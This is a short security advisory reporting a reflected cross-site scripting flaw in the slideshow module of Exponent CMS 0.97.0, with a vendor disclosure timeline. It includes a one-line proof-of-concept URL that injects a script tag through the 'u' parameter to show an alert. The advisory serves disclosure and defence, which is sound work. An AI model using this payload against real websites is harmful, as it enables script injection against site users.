Title: Exponent Slideshow XSS Vulnerability
Vendor: Exponent
Product: Exponent CMS
Tested Version: 0.97.0
Threat Class: XSS
Severity: High
Remote: yes
Local: no
Discovered By: Andrei Rimsa Alvares

===== Description ====
The file "modules/slideshowmodule/slideshow.js.php" is prone to XSS vulnerabilities. Multiple instance of variable $_GET['u'] gets outputted to the page without proper sanitization.

===== Impact ====
Malicious java script code can be executed in the context of the affected web site.

===== Proof of Concept ====
http://target/modules/slideshowmodule/slideshow.js.php?u=%3Cscript%3Ewindow.alert(String.fromCharCode(88=2C83=2C83))=3B%3C/script%3E 

===== Workaround ====
No workaround is available at the time.

===== Disclosure Timeline ====
June=2C 16 2010 - Vendor notification.
July=2C 07 2010 - No vendor reply. Public disclosure.

===== References ====
http://www.exponentcms.org 
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